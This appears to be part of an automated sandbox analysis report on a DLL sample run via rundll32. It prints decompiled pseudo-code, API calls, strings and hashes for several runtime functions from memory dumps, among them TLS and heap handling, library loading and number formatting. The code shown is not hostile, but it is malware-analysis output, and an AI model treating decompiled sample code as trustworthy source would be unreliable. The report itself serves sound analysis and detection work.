Instruction Fuzzy Hash: F7012D36158A15DEE66017F85C4859B2E5CD743FFC320032DF71C5B1D0EF22C4118662

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC97A0, Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 6EDC9E50: GetTickCount64.KERNEL32 ref: 6EDC9E57

GetTickCount64.KERNEL32 ref: 6EDC97D6
GetTickCount64.KERNEL32 ref: 6EDC97F4
GetTickCount64.KERNEL32 ref: 6EDC980D
GetTickCount64.KERNEL32 ref: 6EDC980F
GetTickCount64.KERNEL32 ref: 6EDC9816
GetTickCount64.KERNEL32 ref: 6EDC9834

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Count64Tick
String ID:
API String ID: 1927824332-0
Opcode ID: 07e8cc6456b222b6f1686703d773cd9b2d8ea93b9b69c5f541017f144152a718
Instruction ID: 7d12ada64b215d4f8753ece2b01dd6173f2c0550d06c249018f53557eb131293
Opcode Fuzzy Hash: 07e8cc6456b222b6f1686703d773cd9b2d8ea93b9b69c5f541017f144152a718
Instruction Fuzzy Hash: 59014013C24A189DD603AA799841149A6BD6FAB7E8B11C317E04A77006FB9114F396A3

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB6D10, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E6EDB6D10(short* __ecx, signed int __edx) {
				void* _t30;
				void* _t34;
				void* _t36;
				void* _t37;
				short _t38;
				void* _t39;
				signed int _t45;
				short _t50;
				void* _t51;
				short _t52;
				signed int _t53;
				signed int _t62;
				unsigned int _t66;
				char* _t78;
				signed int _t85;
				signed short _t88;
				intOrPtr _t90;
				char* _t91;
				void* _t94;
				void* _t95;
				intOrPtr* _t96;

				_t96 = _t95 - 0x30;
				_t90 =  *((intOrPtr*)(__ecx + 0x14));
				if(_t90 == 0) {
					L6:
					_t52 = 0;
					L7:
					return _t52;
				}
				_push(1);
				_t30 = E6EDB1DE0(_t90,  &M6EDFCBA9);
				_t96 = _t96 + 4;
				_t52 = 1;
				if(_t30 != 0) {
					goto L7;
				}
				if((__edx |  *(_t96 + 0x44)) == 0) {
					_push(1);
					return E6EDB1DE0(_t90, "_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool");
				}
				 *_t96 = _t90;
				_t91 = 0;
				_t62 =  *((intOrPtr*)(__ecx + 0x18)) - __edx;
				asm("sbb esi, eax");
				if(_t62 >= 0) {
					__eflags = _t62 - 0x1a;
					asm("sbb eax, 0x0");
					if(_t62 >= 0x1a) {
						_t85 = _t62;
						_t78 = "_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool";
						_push(1);
						_t34 = E6EDB1DE0( *_t96, _t78);
						_t96 = _t96 + 4;
						__eflags = _t34;
						if(_t34 != 0) {
							goto L7;
						}
						__eflags = _t85 - 0x2710;
						_t53 = _t85;
						asm("sbb eax, 0x0");
						if(_t85 < 0x2710) {
							_t36 = 0x27;
							L18:
							__eflags = _t53 - 0x63;
							if(_t53 > 0x63) {
								_t66 = _t53 & 0x0000ffff;
								_t53 = (_t66 >> 2) * 0x147b >> 0x11;
								 *((short*)(_t96 + _t36 + 6)) =  *((_t66 - _t53 * 0x00000064 & 0x0000ffff) + (_t66 - _t53 * 0x00000064 & 0x0000ffff) + 0x6edfb61c) & 0x0000ffff;
								_t36 = _t36 + 0xfffffffe;
								__eflags = _t36;
							}
							__eflags = _t53 - 0xa;
							if(_t53 >= 0xa) {
								_t24 = _t53 + 0x6edfb61c; // 0x31303030
								 *((short*)(_t96 + _t36 + 6)) =  *(_t53 + _t24) & 0x0000ffff;
								_t37 = _t36 + 0xfffffffe;
								__eflags = _t37;
							} else {
								 *((char*)(_t96 + _t36 + 7)) = _t53 + 0x30;
								_t37 = _t36 - 1;
							}
							_push(0x27 - _t37);
							_push(_t96 + _t37 + 8);
							_push(0);
							_t38 = E6EDB1AA0( *_t96, 0x6edfcd60);
							_t96 = _t96 + 0xc;
							_t52 = _t38;
							goto L7;
						}
						_t39 = 0x27;
						do {
							_t94 = _t39;
							_t88 = E6EDC9F10(_t53, _t91, 0x2710, 0);
							 *(_t96 + 4) = E6EDC9F90(_t53, _t91, 0x2710, 0);
							_t45 = ((_t88 & 0x0000ffff) >> 2) * 0x147b >> 0x11;
							_t8 = _t45 + 0x6edfb61c; // 0x31303030
							__eflags = 0x5f5e0ff - _t53;
							_t53 =  *(_t96 + 4);
							asm("sbb ecx, esi");
							_t91 = _t78;
							 *((short*)(_t96 + _t94 + 4)) =  *(_t45 + _t8) & 0x0000ffff;
							 *((short*)(_t96 + _t94 + 6)) =  *((_t88 - _t45 * 0x00000064 & 0x0000ffff) + (_t88 - _t45 * 0x00000064 & 0x0000ffff) + 0x6edfb61c) & 0x0000ffff;
							_t16 = _t94 - 4; // 0x23
							_t39 = _t16;
						} while (__eflags < 0);
						goto L18;
					}
					 *((intOrPtr*)(_t96 + 8)) = _t62 + 0x61;
					_t50 = E6EDB3660(_t96 + 8, _t96 + 8,  *_t96);
					_t96 = _t96 + 8;
					_t52 = _t50;
					goto L7;
				}
				_push(0x10);
				_t51 = E6EDB1DE0( *_t96,  &M6EDFCB85);
				_t96 = _t96 + 4;
				if(_t51 != 0) {
					goto L7;
				}
				 *__ecx = 1;
				goto L6;
			}

0x6edb6d14
0x6edb6d17
0x6edb6d1c
0x6edb6d6c
0x6edb6d6c
0x6edb6d6e
0x00000000
0x6edb6d70
0x6edb6d29
0x6edb6d2b
0x6edb6d30
0x6edb6d33
0x6edb6d37
0x00000000
0x00000000
0x6edb6d41
0x6edb6d7f
0x00000000
0x6edb6d86
0x6edb6d46
0x6edb6d49
0x6edb6d4b
0x6edb6d4d
0x6edb6d4f
0x6edb6d8b
0x6edb6d90
0x6edb6d93
0x6edb6db0
0x6edb6db5
0x6edb6dba
0x6edb6dbc
0x6edb6dc1
0x6edb6dc4
0x6edb6dc6
0x00000000
0x00000000
0x6edb6dc8
0x6edb6dd0
0x6edb6dd2
0x6edb6dd5
0x6edb6e50
0x6edb6e55
0x6edb6e55
0x6edb6e58
0x6edb6e5a
0x6edb6e68
0x6edb6e7b
0x6edb6e80
0x6edb6e80
0x6edb6e80
0x6edb6e83
0x6edb6e86
0x6edb6e92
0x6edb6e9a
0x6edb6e9f
0x6edb6e9f
0x6edb6e88
0x6edb6e8b
0x6edb6e8f
0x6edb6e8f
0x6edb6eb5
0x6edb6eb6
0x6edb6eb7
0x6edb6eb9
0x6edb6ebe
0x6edb6ec1
0x00000000
0x6edb6ec1
0x6edb6dd7
0x6edb6de0
0x6edb6de0
0x6edb6df0
0x6edb6e00
0x6edb6e10
0x6edb6e16
0x6edb6e25
0x6edb6e27
0x6edb6e30
0x6edb6e32
0x6edb6e34
0x6edb6e44
0x6edb6e49
0x6edb6e49
0x6edb6e49
0x00000000
0x6edb6e4e
0x6edb6d9c
0x6edb6da4
0x6edb6da9
0x6edb6dac
0x00000000
0x6edb6dac
0x6edb6d59
0x6edb6d5b
0x6edb6d60
0x6edb6d65
0x00000000
0x00000000
0x6edb6d67
0x00000000

APIs

__aullrem.LIBCMT ref: 6EDB6DEB
__aulldiv.LIBCMT ref: 6EDB6DFB

Strings

{invalid syntax}, xrefs: 6EDB6D54
'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EDB6D24
_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool, xrefs: 6EDB6D7A, 6EDB6DB5

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem
String ID: 'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool${invalid syntax}
API String ID: 3839614884-2364648981
Opcode ID: 566c2b1d9f42c3ab05bacf98967b42d343b12f2528669d61c3420df0c76be878
Instruction ID: 2854468a07fe683bd31d7c56f73664658a05b25b68043d52ca0d2bb65a3f5153
Opcode Fuzzy Hash: 566c2b1d9f42c3ab05bacf98967b42d343b12f2528669d61c3420df0c76be878
Instruction Fuzzy Hash: DA415CF17282009BD7149BA8D840B6EB6D5DF84B44F10993DE98ADF3D5F675C81283A2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBD1B0, Relevance: 8.8, APIs: 7, Instructions: 85
memoryCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E6EDBD1B0(void* __ebx, void* __edi) {
				void _v20;
				long _v24;
				intOrPtr _v28;
				char _v32;
				void* _v33;
				void* _v35;
				void* _v36;
				signed int _v39;
				void* _v44;
				long _v48;
				char _v76;
				void* __esi;
				long _t30;
				void* _t32;
				long _t33;
				void* _t35;
				void* _t37;
				void* _t38;
				signed char _t43;
				signed char _t44;
				signed int _t46;
				void** _t49;
				void* _t51;
				long _t53;
				void* _t55;
				signed int _t61;
				signed int _t63;
				intOrPtr* _t65;
				void* _t67;
				void* _t77;
				void* _t79;
				void* _t80;
				void* _t82;
				void* _t89;
				void* _t90;
				void* _t91;

				_t77 = __edi;
				_t55 = __ebx;
				_push(_t79);
				_t30 =  *0x6ee0a04c; // 0x0
				if(_t30 == 0) {
					_t32 = TlsGetValue(E6EDC2B10(__ebx, 0x6ee0a04c, __edi, _t79));
					__eflags = _t32 - 1;
					if(_t32 <= 1) {
						goto L5;
					} else {
						goto L4;
					}
				} else {
					_t32 = TlsGetValue(_t30);
					if(_t32 > 1) {
						L4:
						__eflags =  *_t32 - 1;
						_t82 = _t32;
						if( *_t32 == 1) {
							goto L18;
						} else {
							goto L5;
						}
					} else {
						L5:
						_t33 =  *0x6ee0a04c; // 0x0
						if(_t33 == 0) {
							_t35 = TlsGetValue(E6EDC2B10(_t55, 0x6ee0a04c, _t77, _t79));
							__eflags = _t35;
							if(_t35 != 0) {
								goto L7;
							} else {
								goto L10;
							}
						} else {
							_t35 = TlsGetValue(_t33);
							if(_t35 == 0) {
								L10:
								_t37 =  *0x6ee0adc8; // 0x2ed0000
								__eflags = _t37;
								if(_t37 != 0) {
									L13:
									_t38 = HeapAlloc(_t37, 0, 0xc);
									__eflags = _t38;
									if(__eflags == 0) {
										goto L20;
									} else {
										 *_t38 = 0;
										 *(_t38 + 8) = 0x6ee0a04c;
										_t82 = _t38;
										_t53 =  *0x6ee0a04c; // 0x0
										__eflags = _t53;
										if(_t53 == 0) {
											_t53 = E6EDC2B10(_t55, 0x6ee0a04c, _t77, _t82);
										}
										TlsSetValue(_t53, _t82);
										goto L17;
									}
								} else {
									_t37 = GetProcessHeap();
									__eflags = _t37;
									if(__eflags == 0) {
										L20:
										E6EDD6C30(_t55, 0xc, 4, _t77, _t79, __eflags);
										asm("ud2");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t55);
										_push(_t77);
										_push(_t79);
										_t90 = _t89 - 0x38;
										_v36 = _t90;
										_v24 = 0xffffffff;
										_v28 = E6EDC3B60;
										_v32 =  *[fs:0x0];
										 *[fs:0x0] =  &_v32;
										_v48 = 0xc;
										_v44 = 4;
										_v24 = 0;
										asm("movsd xmm0, [edx+0x10]");
										asm("movsd xmm2, [edx]");
										asm("movsd xmm1, [edx+0x8]");
										asm("movsd [ebp-0x34], xmm0");
										asm("movsd [ebp-0x3c], xmm1");
										asm("movsd [ebp-0x44], xmm2");
										_push( &_v76);
										E6EDB2320( &_v48, 0x6edfd390);
										_t91 = _t90 + 4;
										_t43 = _v44;
										__eflags = _t43;
										if(_t43 == 0) {
											_t44 = 4;
											__eflags = 4 - 3;
											if(4 != 3) {
												_t61 = 0x6edfd388;
											} else {
												_t65 = _v36;
												_v48 = _t65;
												_v20 = 1;
												 *((intOrPtr*)( *((intOrPtr*)(_t65 + 4))))( *_t65);
												_t91 = _t91 + 4;
												_t49 = _v48;
												_t67 = _t49[1];
												__eflags =  *(_t67 + 4);
												if( *(_t67 + 4) != 0) {
													_t51 =  *_t49;
													__eflags =  *((intOrPtr*)(_t67 + 8)) - 9;
													if( *((intOrPtr*)(_t67 + 8)) >= 9) {
														_t51 =  *(_t51 - 4);
													}
													HeapFree( *0x6ee0adc8, 0, _t51);
												}
												HeapFree( *0x6ee0adc8, 0, _v36);
												_t61 = 0x6edfd388;
												_t44 = 4;
											}
											goto L32;
										} else {
											__eflags = _t43 - 4;
											if(_t43 != 4) {
												_t44 = _t43;
												_t63 = _v39;
											} else {
												_t61 = 0x6edfd388;
												_t44 = 2;
												L32:
												_t63 = _t61 << 0x00000018 | 0x00000028;
												__eflags = _t63;
											}
										}
										_t46 = _t44 & 0x000000ff | _t63 << 0x00000008;
										__eflags = _t46;
										 *[fs:0x0] = _v28;
										return _t46;
									} else {
										 *0x6ee0adc8 = _t37;
										goto L13;
									}
								}
							} else {
								L7:
								_t80 = 0;
								if(_t35 != 1) {
									_t82 = _t35;
									L17:
									 *_t82 = 1;
									 *(_t82 + 4) = 0;
									L18:
									_t80 = _t82 + 4;
								}
								return _t80;
							}
						}
					}
				}
			}

0x6edbd1b0
0x6edbd1b0
0x6edbd1b0
0x6edbd1b1
0x6edbd1b8
0x6edbd1d3
0x6edbd1d9
0x6edbd1dc
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbd1ba
0x6edbd1bb
0x6edbd1c4
0x6edbd1de
0x6edbd1de
0x6edbd1e1
0x6edbd1e3
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbd1c6
0x6edbd1e9
0x6edbd1e9
0x6edbd1f0
0x6edbd213
0x6edbd219
0x6edbd21b
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbd1f2
0x6edbd1f3
0x6edbd1fb
0x6edbd21d
0x6edbd21d
0x6edbd222
0x6edbd224
0x6edbd234
0x6edbd239
0x6edbd23e
0x6edbd240
0x00000000
0x6edbd242
0x6edbd242
0x6edbd248
0x6edbd24f
0x6edbd251
0x6edbd256
0x6edbd258
0x6edbd25f
0x6edbd25f
0x6edbd266
0x00000000
0x6edbd266
0x6edbd226
0x6edbd226
0x6edbd22b
0x6edbd22d
0x6edbd280
0x6edbd28a
0x6edbd28f
0x6edbd291
0x6edbd292
0x6edbd293
0x6edbd294
0x6edbd295
0x6edbd296
0x6edbd297
0x6edbd298
0x6edbd299
0x6edbd29a
0x6edbd29b
0x6edbd29c
0x6edbd29d
0x6edbd29e
0x6edbd29f
0x6edbd2a3
0x6edbd2a4
0x6edbd2a5
0x6edbd2a6
0x6edbd2a9
0x6edbd2ac
0x6edbd2b3
0x6edbd2c4
0x6edbd2c7
0x6edbd2d0
0x6edbd2d3
0x6edbd2d7
0x6edbd2e1
0x6edbd2e6
0x6edbd2ea
0x6edbd2f4
0x6edbd2f9
0x6edbd2fe
0x6edbd303
0x6edbd304
0x6edbd309
0x6edbd30c
0x6edbd30f
0x6edbd311
0x6edbd329
0x6edbd32b
0x6edbd32e
0x6edbd39f
0x6edbd330
0x6edbd330
0x6edbd335
0x6edbd33b
0x6edbd343
0x6edbd345
0x6edbd348
0x6edbd34b
0x6edbd34e
0x6edbd352
0x6edbd354
0x6edbd356
0x6edbd35a
0x6edbd35c
0x6edbd35c
0x6edbd368
0x6edbd368
0x6edbd378
0x6edbd37d
0x6edbd387
0x6edbd387
0x00000000
0x6edbd313
0x6edbd313
0x6edbd316
0x6edbd393
0x6edbd39a
0x6edbd318
0x6edbd318
0x6edbd322
0x6edbd3a9
0x6edbd3af
0x6edbd3af
0x6edbd3af
0x6edbd316
0x6edbd3bf
0x6edbd3bf
0x6edbd3c1
0x6edbd3cf
0x6edbd22f
0x6edbd22f
0x00000000
0x6edbd22f
0x6edbd22d
0x6edbd1fd
0x6edbd1fd
0x6edbd1fd
0x6edbd202
0x6edbd204
0x6edbd26c
0x6edbd26c
0x6edbd272
0x6edbd279
0x6edbd279
0x6edbd279
0x6edbd27f
0x6edbd27f
0x6edbd1fb
0x6edbd1f0
0x6edbd1c4

APIs

TlsGetValue.KERNEL32(00000000,00000001,6EDBC906), ref: 6EDBD1BB
TlsGetValue.KERNEL32(00000000,00000001,6EDBC906), ref: 6EDBD1D3
TlsGetValue.KERNEL32(00000000), ref: 6EDBD1F3
TlsGetValue.KERNEL32(00000000), ref: 6EDBD213
GetProcessHeap.KERNEL32 ref: 6EDBD226
HeapAlloc.KERNEL32(02ED0000,00000000,0000000C), ref: 6EDBD239
TlsSetValue.KERNEL32(00000000,00000000,02ED0000,00000000,0000000C), ref: 6EDBD266

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$Heap$AllocProcess
String ID:
API String ID: 3559649508-0
Opcode ID: aff97a77c5cdc2eb269633a4a8257fc4fbb42f97b12455d3423441a71451ea7a
Instruction ID: 9fa768e5d052991c3cad22d5dd349cbbb5e62301e9d8835f5f92560623a469fa
Opcode Fuzzy Hash: aff97a77c5cdc2eb269633a4a8257fc4fbb42f97b12455d3423441a71451ea7a
Instruction Fuzzy Hash: D61193F174164ACBFB505FF5C955B1A369CEB02785F114828D80ACB288EB36DC409B71

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD0EB1, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EDD0EB1(intOrPtr* _a4, intOrPtr _a8, void* _a12, intOrPtr _a16) {
				void* _t15;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					if( *_t40 != 0) {
						_t15 = E6EDD19B3(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						if(_t15 != 0) {
							_t38 = _a8;
							if(_t15 <=  *((intOrPtr*)(_t38 + 0xc))) {
								L10:
								_t16 = E6EDD0D08(_a16, _t40,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)));
								if(_t16 != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t16 - 1;
									_t18 = 0;
								} else {
									E6EDCF8B5(GetLastError());
									_t18 =  *((intOrPtr*)(E6EDCF90F()));
								}
								L13:
								L14:
								return _t18;
							}
							_t18 = E6EDD0F73(_t38, _t15);
							if(_t18 != 0) {
								goto L13;
							}
							goto L10;
						}
						E6EDCF8B5(GetLastError());
						_t18 =  *((intOrPtr*)(E6EDCF90F()));
						goto L14;
					}
					_t41 = _a8;
					if( *((intOrPtr*)(_t41 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = 0;
						_t18 = 0;
						 *((intOrPtr*)(_t41 + 0x10)) = 0;
						goto L14;
					}
					_t18 = E6EDD0F73(_t41, 1);
					if(_t18 != 0) {
						goto L14;
					}
					goto L5;
				}
				E6EDD0F9A(_a8);
				return 0;
			}

0x6edd0eb7
0x6edd0ebc
0x6edd0ed3
0x6edd0f05
0x6edd0f0f
0x6edd0f28
0x6edd0f2e
0x6edd0f3c
0x6edd0f49
0x6edd0f50
0x6edd0f69
0x6edd0f6c
0x6edd0f52
0x6edd0f59
0x6edd0f64
0x6edd0f64
0x6edd0f6e
0x6edd0f6f
0x00000000
0x6edd0f6f
0x6edd0f33
0x6edd0f3a
0x00000000
0x00000000
0x00000000
0x6edd0f3a
0x6edd0f18
0x6edd0f23
0x00000000
0x6edd0f23
0x6edd0ed5
0x6edd0edb
0x6edd0eee
0x6edd0ef1
0x6edd0ef3
0x6edd0ef5
0x00000000
0x6edd0ef5
0x6edd0ee1
0x6edd0ee8
0x00000000
0x00000000
0x00000000
0x6edd0ee8
0x6edd0ec1
0x00000000

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6EDD0ECD

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: 06cf75e32c7fb796387e2ff13ddc633ac4bf4e9c974c16dcf2a2da24c7bd170f
Instruction ID: 72b1c9a8b006f86d0a8d550be5b247186b685dc4c1ec958bcd8c1d74082fd123
Opcode Fuzzy Hash: 06cf75e32c7fb796387e2ff13ddc633ac4bf4e9c974c16dcf2a2da24c7bd170f
Instruction Fuzzy Hash: 19215B72608209FFDB509FF68C4099B77BFEF853E87204925E85497244EB30E84887A1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCDD62, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EDCDD62(void* __ecx, signed int* _a4, intOrPtr _a8) {
				WCHAR* _v8;
				signed int _t11;
				WCHAR* _t12;
				struct HINSTANCE__* _t16;
				struct HINSTANCE__* _t18;
				signed int* _t22;
				signed int* _t26;
				struct HINSTANCE__* _t29;
				WCHAR* _t31;
				void* _t32;

				_t26 = _a4;
				while(_t26 != _a8) {
					_t11 =  *_t26;
					_t22 = 0x6ee0b208 + _t11 * 4;
					_t29 =  *_t22;
					if(_t29 == 0) {
						_t12 =  *(0x6ee02ec8 + _t11 * 4);
						_v8 = _t12;
						_t29 = LoadLibraryExW(_t12, 0, 0x800);
						if(_t29 != 0) {
							L13:
							 *_t22 = _t29;
							if( *_t22 != 0) {
								FreeLibrary(_t29);
							}
							L15:
							_t16 = _t29;
							L12:
							return _t16;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L8:
							 *_t22 = _t18 | 0xffffffff;
							L9:
							_t26 =  &(_t26[1]);
							continue;
						}
						_t31 = _v8;
						_t18 = E6EDCF838(_t31, L"api-ms-", 7);
						_t32 = _t32 + 0xc;
						if(_t18 == 0) {
							goto L8;
						}
						_t18 = LoadLibraryExW(_t31, 0, 0);
						_t29 = _t18;
						if(_t29 != 0) {
							goto L13;
						}
						goto L8;
					}
					if(_t29 != 0xffffffff) {
						goto L15;
					}
					goto L9;
				}
				_t16 = 0;
				goto L12;
			}

0x6edcdd69
0x6edcdddd
0x6edcdd6e
0x6edcdd70
0x6edcdd77
0x6edcdd7b
0x6edcdd84
0x6edcdd93
0x6edcdd9c
0x6edcdda0
0x6edcdde9
0x6edcddeb
0x6edcddef
0x6edcddf2
0x6edcddf2
0x6edcddf8
0x6edcddf8
0x6edcdde4
0x6edcdde8
0x6edcdde8
0x6edcdda2
0x6edcddab
0x6edcddd5
0x6edcddd8
0x6edcddda
0x6edcddda
0x00000000
0x6edcddda
0x6edcddad
0x6edcddb8
0x6edcddbd
0x6edcddc2
0x00000000
0x00000000
0x6edcddc9
0x6edcddcf
0x6edcddd3
0x00000000
0x00000000
0x00000000
0x6edcddd3
0x6edcdd80
0x00000000
0x00000000
0x00000000
0x6edcdd82
0x6edcdde2
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,?,6EDCDE23,00000000,?,00000001,00000000,?,6EDCDE9A,00000001,FlsFree,6EE02F84,FlsFree,00000000), ref: 6EDCDDF2

Strings

api-ms-, xrefs: 6EDCDDB2

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: a23ce46e5cebf4529fc0118abc47168babd5de2c96da04c3e50dd17cccdd73e8
Instruction ID: d4063e715cb9e10f3b9fb5f8bf3b84c41b8f2d9c2068f1e75a038f5819d61669
Opcode Fuzzy Hash: a23ce46e5cebf4529fc0118abc47168babd5de2c96da04c3e50dd17cccdd73e8
Instruction Fuzzy Hash: DA11A736E95B25EBDF134BD98C4474A33ACAF02FE4F205111F910AB284D770E9018AE2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCEC2D, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E6EDCEC2D(intOrPtr _a4) {
				char _v16;
				signed int _v20;
				signed int _t11;
				int _t14;
				void* _t16;
				void* _t20;
				int _t22;
				signed int _t23;

				_t11 =  *0x6ee0a4a4; // 0xcd23f81e
				 *[fs:0x0] =  &_v16;
				_v20 = _v20 & 0x00000000;
				_t14 =  &_v20;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t14, _t11 ^ _t23, _t20, _t16,  *[fs:0x0], E6EDD7473, 0xffffffff);
				if(_t14 != 0) {
					_t14 = GetProcAddress(_v20, "CorExitProcess");
					_t22 = _t14;
					if(_t22 != 0) {
						 *0x6edd8154(_a4);
						_t14 =  *_t22();
					}
				}
				if(_v20 != 0) {
					_t14 = FreeLibrary(_v20);
				}
				 *[fs:0x0] = _v16;
				return _t14;
			}

0x6edcec42
0x6edcec4d
0x6edcec53
0x6edcec57
0x6edcec62
0x6edcec6a
0x6edcec74
0x6edcec7a
0x6edcec7e
0x6edcec85
0x6edcec8b
0x6edcec8b
0x6edcec7e
0x6edcec91
0x6edcec96
0x6edcec96
0x6edcec9f
0x6edceca9

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,CD23F81E,00000000,?,00000000,6EDD7473,000000FF,?,6EDCEBBD,?,?,6EDCEB91,?), ref: 6EDCEC62
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6EDCEC74
FreeLibrary.KERNEL32(00000000,?,00000000,6EDD7473,000000FF,?,6EDCEBBD,?,?,6EDCEB91,?), ref: 6EDCEC96

Strings

CorExitProcess, xrefs: 6EDCEC6C
mscoree.dll, xrefs: 6EDCEC5B

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 7b8e7d67666176271b93e0bba1635f320f8faa9fa34e37403e37cc3294eaf29f
Instruction ID: ab6f08f3284eb193939b703464809732871e9653fac771dc780d99f317214620
Opcode Fuzzy Hash: 7b8e7d67666176271b93e0bba1635f320f8faa9fa34e37403e37cc3294eaf29f
Instruction Fuzzy Hash: EF01A276900969EFDB129F90CD09FBEBBBDFB04B50F000625F821A2390DB75A904CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC4C0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EDBC4C0() {
				struct HINSTANCE__* _t1;

				_t1 = GetModuleHandleA("ntdll");
				if(_t1 == 0) {
					return _t1;
				} else {
					return GetProcAddress(_t1, "NtCreateKeyedEvent");
				}
			}

0x6edbc4c5
0x6edbc4cd
0x6edbc4dc
0x6edbc4cf
0x6edbc4db
0x6edbc4db

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EDBC4C5
GetProcAddress.KERNEL32(00000000,NtCreateKeyedEvent), ref: 6EDBC4D5

